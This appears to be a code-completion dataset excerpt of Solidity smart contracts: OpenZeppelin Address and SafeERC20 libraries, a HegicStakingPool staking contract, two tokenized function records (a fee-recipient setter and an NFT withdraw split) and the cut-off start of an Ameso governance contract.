* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts/token/ERC20/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File contracts/HegicStakingPool.sol
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
contract HegicStakingPool is Ownable, ERC20{
using SafeMath for uint;
using SafeERC20 for IERC20;
// Tokens
IERC20 public immutable HEGIC;
mapping(Asset => IHegicStaking) public staking;
uint public constant STAKING_LOT_PRICE = 888_000e18;
uint public constant ACCURACY = 1e32;
address payable public FALLBACK_RECIPIENT;
address payable public FEE_RECIPIENT;
address public constant OLD_HEGIC_STAKING_POOL = address(0xf4128B00AFdA933428056d0F0D1d7652aF7e2B35);
address public constant Z_HEGIC = address(0x837010619aeb2AE24141605aFC8f66577f6fb2e7);
uint public performanceFee = 5000;
uint public discountedPerformanceFee = 4000;
bool public depositsAllowed = true;
uint public lockUpPeriod = 15 minutes;
bool private migrating;
uint public totalBalance;
uint public lockedBalance;
uint public totalNumberOfStakingLots;
mapping(Asset => uint) public numberOfStakingLots;
mapping(Asset => uint) public totalProfitPerToken;
mapping(Asset => IERC20) public token;
enum Asset {WBTC, ETH, USDC}
mapping(address => uint) public ownerPerformanceFee;
mapping(address => bool) public isNotFirstTime;
mapping(address => uint) public lastDepositTime;
mapping(address => mapping(Asset => uint)) lastProfit;
mapping(address => mapping(Asset => uint)) savedProfit;
event Deposit(address account, uint amount);
event Withdraw(address account, uint amount);
event BuyLot(Asset asset, address account);
event SellLot(Asset asset, address account);
event ClaimedProfit(address account, Asset asset, uint netProfit, uint fee);
constructor(IERC20 _HEGIC, IERC20 _WBTC, IERC20 _WETH, IERC20 _USDC, IHegicStaking _stakingWBTC, IHegicStaking _stakingETH, IHegicStaking _stakingUSDC) public ERC20("Staked HEGIC", "sHEGIC"){
HEGIC = _HEGIC;
staking[Asset.WBTC] = _stakingWBTC;
staking[Asset.ETH] = _stakingETH;
staking[Asset.USDC] = _stakingUSDC;
token[Asset.WBTC] = _WBTC;
token[Asset.ETH] = _WETH;
token[Asset.USDC] = _USDC;
FEE_RECIPIENT = msg.sender;
FALLBACK_RECIPIENT = msg.sender;
// Approve Staking Lot Contract
_HEGIC.approve(address(staking[Asset.WBTC]), type(uint256).max);
_HEGIC.approve(address(staking[Asset.ETH]), type(uint256).max);
_HEGIC.approve(address(staking[Asset.USDC]), type(uint256).max);
}
function approveContracts() external {
require(depositsAllowed);
HEGIC.approve(address(staking[Asset.WBTC]), type(uint256).max);
HEGIC.approve(address(staking[Asset.ETH]), type(uint256).max);
HEGIC.approve(address(staking[Asset.USDC]), type(uint256).max);
}
/**
* @notice Stops the ability to add new deposits
* @param _allow If set to false, new deposits will be rejected
*/
function allowDeposits(bool _allow) external onlyOwner {
depositsAllowed = _allow;
}
/**
* @notice Changes Fee paid to creator (only paid when taking profits)
* @param _fee New fee
*/
function changePerformanceFee(uint _fee) external onlyOwner {
require(_fee >= 0, "Fee too low");
require(_fee <= 10000, "Fee too high");
performanceFee = _fee;
}
/**
* @notice Changes discounted Fee paid to creator (only paid when taking profits)
* @param _fee New fee
*/
function changeDiscountedPerformanceFee(uint _fee) external onlyOwner {
require(_fee >= 0, "Fee too low");
require(_fee <= 10000, "Fee too high");
discountedPerformanceFee = _fee;
}
/**
* @notice Changes Fee Recipient address
* @param _recipient New address
*/
function changeFeeRecipient(address _recipient) external onlyOwner {
FEE_RECIPIENT = payable(_recipient);
}
/**
* @notice Changes Fallback Recipient address. This is only used in case of unexpected behavior
* @param _recipient New address
*/
function changeFallbackRecipient(address _recipient) external onlyOwner {
FALLBACK_RECIPIENT = payable(_recipient);
}
/**
* @notice Toggles effect of lockup period by setting lockUpPeriod to 0 (disabled) or to 15 minutes(enabled)
* @param _unlock Boolean: if true, unlocks funds
*/
function unlockAllFunds(bool _unlock) external onlyOwner {
if(_unlock) lockUpPeriod = 0;
else lockUpPeriod = 15 minutes;
}
/**
* @notice Migrates HEGIC from old staking pools (supports HegicStakingPool + ZLOT)
* @param oldStakingPool staking pool from which we are migrating
* @return HEGIC migrated
*/
function migrateFromOldStakingPool(IOldStakingPool oldStakingPool) external returns (uint) {
IERC20 sToken;
// to avoid reseting fee during deposit
isNotFirstTime[msg.sender] = true;
if(address(oldStakingPool) == address(OLD_HEGIC_STAKING_POOL)) {
sToken = IERC20(address(oldStakingPool));
// take ownerPerformanceFee from old pool
uint oldPerformanceFee = oldStakingPool.ownerPerformanceFee(msg.sender);
uint dFee = discountedPerformanceFee;
if(oldPerformanceFee > dFee) {
ownerPerformanceFee[msg.sender] = dFee;
} else {
ownerPerformanceFee[msg.sender] = oldStakingPool.ownerPerformanceFee(msg.sender);
}
} else {
// migrating from zLOT
sToken = IERC20(Z_HEGIC);
ownerPerformanceFee[msg.sender] = discountedPerformanceFee;
}
require(sToken.balanceOf(msg.sender) > 0, "Not enough balance / not supported");
// requires approval
uint256 oldBalance = sToken.balanceOf(msg.sender);
sToken.safeTransferFrom(msg.sender, address(this), oldBalance);
if(address(oldStakingPool) == address(OLD_HEGIC_STAKING_POOL)) {
// migrating from HegicStakingPool
oldStakingPool.withdraw(oldBalance);
} else {
// migrating from zLOT
oldBalance = IOldPool(address(oldStakingPool)).withdraw(oldBalance);
}
migrating = true;
deposit(oldBalance);
return oldBalance;
}
/**
* @notice Deposits _amount HEGIC in the contract.
*
* @param _amount Number of HEGIC to deposit in the contract // number of sHEGIC that will be minted
*/
function deposit(uint _amount) public {
require(_amount > 0, "Amount too low");
require(depositsAllowed, "Deposits are not allowed at the moment");
// set fee for that staking lot owner - this effectively sets the maximum FEE an owner can have
// each time user deposits, this checks if current fee is higher or lower than previous fees
// and updates it if it is lower
if(ownerPerformanceFee[msg.sender] > performanceFee || !isNotFirstTime[msg.sender]) {
ownerPerformanceFee[msg.sender] = performanceFee;
isNotFirstTime[msg.sender] = true;
}
lastDepositTime[msg.sender] = block.timestamp;
// receive deposit
depositHegic(_amount);
while(totalBalance.sub(lockedBalance) >= STAKING_LOT_PRICE){
buyStakingLot();
}
}
/**
* @notice Withdraws _amount HEGIC from the contract.
*
* @param _amount Number of HEGIC to withdraw from contract // number of sHEGIC that will be burnt
*/
function withdraw(uint _amount) public {
require(_amount <= balanceOf(msg.sender), "Not enough balance");
require(canWithdraw(msg.sender), "You deposited less than 15 mins ago. Your funds are locked");
while(totalBalance.sub(lockedBalance) < _amount){
sellStakingLot();
}
withdrawHegic(_amount);
}
/**
* @notice Withdraws _amount HEGIC from the contract and claims all profit pending in contract
*
*/
function claimProfitAndWithdraw() external {
claimAllProfit();
withdraw(balanceOf(msg.sender));
}
/**
* @notice Claims profit for both assets. Profit will be paid to msg.sender
* This is the most gas-efficient way to claim profits (instead of separately)
*
*/
function claimAllProfit() public {
claimProfit(Asset.WBTC);
claimProfit(Asset.ETH);
claimProfit(Asset.USDC);
}
/**
* @notice Claims profit for specific _asset. Profit will be paid to msg.sender
*
* @param _asset Asset (ETH or WBTC)
*/
function claimProfit(Asset _asset) public {
uint profit = saveProfit(msg.sender, _asset);
savedProfit[msg.sender][_asset] = 0;
_transferProfit(profit, _asset, msg.sender, ownerPerformanceFee[msg.sender]);
}
/**
* @notice Returns profit to be paid when claimed
*
* @param _account Account to get profit for
* @param _asset Asset (ETH or WBTC)
*/
function profitOf(address _account, Asset _asset) public view returns (uint profit) {
return savedProfit[_account][_asset].add(getUnsaved(_account, _asset));
}
/**
* @notice Returns address of Hegic's ETH Staking Lot contract
*/
function getHegicStakingETH() public view returns (IHegicStaking HegicStakingETH){
return staking[Asset.ETH];
}
/**
* @notice Returns address of Hegic's WBTC Staking Lot contract
*/
function getHegicStakingWBTC() public view returns (IHegicStaking HegicStakingWBTC){
return staking[Asset.WBTC];
}
/**
* @notice Returns address of Hegic's USDC Staking Lot contract
*/
function getHegicStakingUSDC() public view returns (IHegicStaking HegicStakingWBTC){
return staking[Asset.USDC];
}
/**
* @notice Support function. Gets profit that has not been saved (either in Staking Lot contracts)
* or in this contract
*
* @param _account Account to get unsaved profit for
* @param _asset Asset (ETH or WBTC)
*/
function getUnsaved(address _account, Asset _asset) public view returns (uint profit) {
profit = totalProfitPerToken[_asset].sub(lastProfit[_account][_asset]).add(getUnreceivedProfitPerToken(_asset)).mul(balanceOf(_account)).div(ACCURACY);
}
/**
* @notice Internal function. Update profit per token for _asset
*
* @param _asset Underlying asset (ETH or WBTC)
*/
function updateProfit(Asset _asset) internal {
uint profit = staking[_asset].profitOf(address(this));
if(profit > 0) {
profit = staking[_asset].claimProfits(address(this));
}
if(totalBalance <= 0) {
IERC20 assetToken = token[_asset];
assetToken.safeTransfer(FALLBACK_RECIPIENT, profit);
} else {
totalProfitPerToken[_asset] = totalProfitPerToken[_asset].add(profit.mul(ACCURACY).div(totalBalance));
}
}
/**
* @notice Internal function. Transfers net profit to the owner of the sHEGIC.
*
* @param _amount Amount of Asset (ETH or WBTC) to be sent
* @param _asset Asset to be sent (ETH or WBTC)
* @param _account Receiver of the net profit
* @param _fee Fee % to be applied to the profit (100% = 100000)
*/
function _transferProfit(uint _amount, Asset _asset, address _account, uint _fee) internal {
uint netProfit = _amount.mul(uint(100000).sub(_fee)).div(100000);
uint fee = _amount.sub(netProfit);
IERC20 assetToken = token[_asset];
assetToken.safeTransfer(_account, netProfit);
assetToken.safeTransfer(FEE_RECIPIENT, fee);
emit ClaimedProfit(_account, _asset, netProfit, fee);
}
/**
* @notice Internal function to transfer deposited HEGIC to the contract and mint sHEGIC (Staked HEGIC)
* @param _amount Amount of HEGIC to deposit // Amount of sHEGIC that will be minted
*/
function depositHegic(uint _amount) internal {
totalBalance = totalBalance.add(_amount);
// if we are during migration, we don't need to take HEGIC from the user
if(!migrating) {
HEGIC.safeTransferFrom(msg.sender, address(this), _amount);
} else {
migrating = false;
require(totalBalance == HEGIC.balanceOf(address(this)).add(lockedBalance), "!");
}
_mint(msg.sender, _amount);
}
/**
* @notice Internal function. Moves _amount HEGIC from contract to user
* also burns staked HEGIC (sHEGIC) tokens
* @param _amount Amount of HEGIC to withdraw // Amount of sHEGIC that will be burned
*/
function withdrawHegic(uint _amount) internal {
_burn(msg.sender, _amount);
HEGIC.safeTransfer(msg.sender, _amount);
totalBalance = totalBalance.sub(_amount);
emit Withdraw(msg.sender, _amount);
}
/**
* @notice Internal function. Chooses which lot to buy (ETH or WBTC) and buys it
*
*/
function buyStakingLot() internal {
// we buy 1 ETH staking lot, then 1 WBTC staking lot, then 1 USDC staking lot, ...
Asset asset = Asset.USDC;
if(numberOfStakingLots[Asset.USDC] >= numberOfStakingLots[Asset.WBTC]){
if(numberOfStakingLots[Asset.WBTC] >= numberOfStakingLots[Asset.ETH]){
asset = Asset.ETH;
} else {
asset = Asset.WBTC;
}
}
lockedBalance = lockedBalance.add(STAKING_LOT_PRICE);
staking[asset].buyStakingLot(1);
totalNumberOfStakingLots++;
numberOfStakingLots[asset]++;
emit BuyLot(asset, msg.sender);
}
/**
* @notice Internal function. Chooses which lot to sell (ETH or WBTC or USDC) and sells it
*
*/
function sellStakingLot() internal {
Asset asset = Asset.ETH;
if(numberOfStakingLots[Asset.ETH] <= numberOfStakingLots[Asset.WBTC] ||
staking[Asset.ETH].lastBoughtTimestamp(address(this))
.add(staking[Asset.ETH].classicLockupPeriod()) > block.timestamp ||
staking[Asset.ETH].balanceOf(address(this)) == 0)
{
if(numberOfStakingLots[Asset.WBTC] <= numberOfStakingLots[Asset.USDC] &&
staking[Asset.USDC].lastBoughtTimestamp(address(this))
.add(staking[Asset.USDC].classicLockupPeriod()) <= block.timestamp &&
staking[Asset.USDC].balanceOf(address(this)) > 0){
asset = Asset.USDC;
} else if (staking[Asset.WBTC].lastBoughtTimestamp(address(this))
.add(staking[Asset.WBTC].classicLockupPeriod()) <= block.timestamp &&
staking[Asset.WBTC].balanceOf(address(this)) > 0){
asset = Asset.WBTC;
} else {
asset = Asset.ETH;
// this require only applies here. otherwise conditions have been already checked
require(
staking[asset].lastBoughtTimestamp(address(this))
.add(staking[asset].classicLockupPeriod()) <= block.timestamp &&
staking[asset].balanceOf(address(this)) > 0,
"Lot sale is locked by Hegic. Funds should be available in less than 24h"
);
}
}
lockedBalance = lockedBalance.sub(STAKING_LOT_PRICE);
staking[asset].sellStakingLot(1);
totalNumberOfStakingLots--;
numberOfStakingLots[asset]--;
emit SellLot(asset, msg.sender);
}
/**
* @notice Support function. Calculates how much profit would receive each token if the contract claimed
* profit accumulated in Hegic's Staking Lot contracts
*
* @param _asset Asset (WBTC or ETH)
*/
function getUnreceivedProfitPerToken(Asset _asset) public view returns (uint unreceivedProfitPerToken){
uint profit = staking[_asset].profitOf(address(this));
unreceivedProfitPerToken = profit.mul(ACCURACY).div(totalBalance);
}
/**
* @notice Saves profit for a certain _account. This profit is absolute in value
* this function is called before every token transfer to keep the state of profits correctly
*
* @param _account account to save profit to
*/
function saveProfit(address _account) internal {
saveProfit(_account, Asset.WBTC);
saveProfit(_account, Asset.ETH);
saveProfit(_account, Asset.USDC);
}
/**
* @notice Internal function that saves unpaid profit to keep accounting.
*
* @param _account Account to save profit to
* @param _asset Asset (WBTC or ETH)
*/
function saveProfit(address _account, Asset _asset) internal returns (uint profit) {
updateProfit(_asset);
uint unsaved = getUnsaved(_account, _asset);
lastProfit[_account][_asset] = totalProfitPerToken[_asset];
profit = savedProfit[_account][_asset].add(unsaved);
savedProfit[_account][_asset] = profit;
}
/**
* @notice Support function. Relevant to the profit system. It will save state of profit before each
* token transfer (either deposit or withdrawal)
*
* @param from Account sending tokens
* @param to Account receiving tokens
*/
function _beforeTokenTransfer(address from, address to, uint256) internal override {
require(canWithdraw(from), "!locked funds");
if (from != address(0)) saveProfit(from);
if (to != address(0)) saveProfit(to);
}
/**
* @notice Returns a boolean indicating if that specific _account can withdraw or not
* (due to lockupperiod reasons)
* @param _account Account to check withdrawal status
*/
function canWithdraw(address _account) public view returns (bool) {
return (lastDepositTime[_account].add(lockUpPeriod) <= block.timestamp);
}
}
|
* @notice Changes Fee Recipient address @param _recipient New address/
|
function changeFeeRecipient(address _recipient) external onlyOwner {
FEE_RECIPIENT = payable(_recipient);
}
| 2,354,280 |
[
1,
7173,
30174,
23550,
1758,
225,
389,
20367,
1166,
1758,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
2549,
14667,
18241,
12,
2867,
389,
20367,
13,
3903,
1338,
5541,
288,
203,
3639,
478,
9383,
67,
862,
7266,
1102,
2222,
273,
8843,
429,
24899,
20367,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/4/0x687ddb0c77117223837Cf526c0Bac1EAF568EaC5/sources/contracts/ExpandedNFT.sol
|
/ No need for gas limit to trusted address.
|
function withdraw() external onlyOwner {
uint256 currentBalance = address(this).balance;
uint256 platformFee = (currentBalance * _pricing.splitBPS) / 10_000;
uint256 artistFee = currentBalance - platformFee;
AddressUpgradeable.sendValue(payable(owner()), platformFee);
AddressUpgradeable.sendValue(payable(_artistWallet), artistFee);
}
| 13,340,641 |
[
1,
19,
2631,
1608,
364,
16189,
1800,
358,
13179,
1758,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
598,
9446,
1435,
3903,
1338,
5541,
288,
203,
3639,
2254,
5034,
783,
13937,
273,
1758,
12,
2211,
2934,
12296,
31,
203,
540,
203,
3639,
2254,
5034,
4072,
14667,
273,
261,
2972,
13937,
380,
389,
683,
14774,
18,
4939,
38,
5857,
13,
342,
1728,
67,
3784,
31,
203,
3639,
2254,
5034,
15469,
14667,
273,
783,
13937,
300,
4072,
14667,
31,
203,
203,
3639,
5267,
10784,
429,
18,
4661,
620,
12,
10239,
429,
12,
8443,
1435,
3631,
4072,
14667,
1769,
203,
3639,
5267,
10784,
429,
18,
4661,
620,
12,
10239,
429,
24899,
25737,
16936,
3631,
15469,
14667,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.3;
pragma experimental ABIEncoderV2;
import '@openzeppelin/contracts/math/SafeMath.sol';
import './interfaces/ITreasury.sol';
import './interfaces/IAmesoToken.sol';
import './interfaces/IAmeso.sol';
/**
* @title Ameso Governance contract
* @dev All contracts that will be owned by a Governor entity should extend this contract.
*/
contract Governor{
using SafeMath for uint256;
string public constant name = "Ameso Governor";
/// @notice the number of votes in support of a mint required in order for a quorum to be reached
function quorumVotes() public pure returns (uint) { return 30_000_000e18; } // 3% of total supply
/// @notice the number of votes required in order for a voter to become a proposer
function proposalThreshold() public pure returns (uint) { return 1_000_000e18; } // 1% of total supply
/// @notice The maximum number of actions that can be included in a proposal
function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions
/// @notice The delay before voting on a proposal may take place, once proposed
function votingDelay() public pure returns (uint) { return 1; } // 1 block
/// @notice The duration of voting on a proposal, in blocks
function votingPeriod() public pure returns (uint) { return 40_320; } // ~7 days in blocks (assuming 15s blocks)
// -- State --
// The official record of all proposals ever proposed
mapping (uint => Proposal) public proposals;
// The latest proposal for each proposer
mapping (address => uint) public latestProposalIds;
// The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
// The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
uint256 public proposalCount;
ITreasury public treasury;
IAmesoToken public ams;
IAmeso public amsApp;
// Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
// -- Events --
// An event emitted when a new proposal is created
event ProposalCreated(uint256 id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint256 startBlock, uint256 endBlock, string description);
// An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint256 proposalId, bool support, uint256 votes);
// An event emitted when a proposal has been canceled
event ProposalCanceled(uint256 id);
// An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint256 id, uint256 eta);
// An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint256 id);
struct Proposal {
// Unique id for looking up a proposal
uint256 id;
// Creator of the proposal;
address proposer;
// The timestamp that the proposal will be available for execution, set once the vote succeeds
uint256 eta;
// The ordered list of target addresses for calls to be made
address[] targets;
// The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint256[] values;
// The ordered list of function signatures to be called
string[] signatures;
// The ordered list of calldata to be passed to each call
bytes[] calldatas;
// The block at which voting begins: holders must delegate their votes prior to this block
uint startBlock;
// The block at which voting ends: votes must be cast prior to this block
uint endBlock;
// Current number of votes in favor of this proposal
uint256 forVotes;
// Current number of votes in opposition to this proposal
uint256 againstVotes;
// Flag marking whether the proposal has been canceled
bool canceled;
// Flag marking whether the proposal has been executed
bool executed;
// Receipts of ballots for the entire set of voters
mapping (address => Receipt) receipts;
}
// Ballot receipt record for a voter
struct Receipt {
// Whether or not a vote has been cast
bool hasVoted;
// Whether or not the voter supports the proposal
bool support;
// The number of votes the voter had, which were cast
uint256 votes;
}
constructor(address _treasury, address _ams, address _amsApp) {
treasury = ITreasury(_treasury);
ams = IAmesoToken(_ams);
amsApp = IAmeso(_amsApp);
}
/**
* @dev Creates a proposal
* @param _targets addresses of the contract(s) whom we will call their functions
* @param _values amount of ether to pass to the targets?
* @param _signatures bytes to
* @param _calldatas transaction data?
* @param _description proposal description
*/
function propose(
address[] memory _targets,
uint256[] memory _values,
string[] memory _signatures,
bytes[] memory _calldatas,
string memory _description
) public returns (uint256) {
require(ams.getPriorVotes(msg.sender, SafeMath.sub(block.number, 1)) > proposalThreshold(), "Governor::propose: proposer votes below proposal threshold");
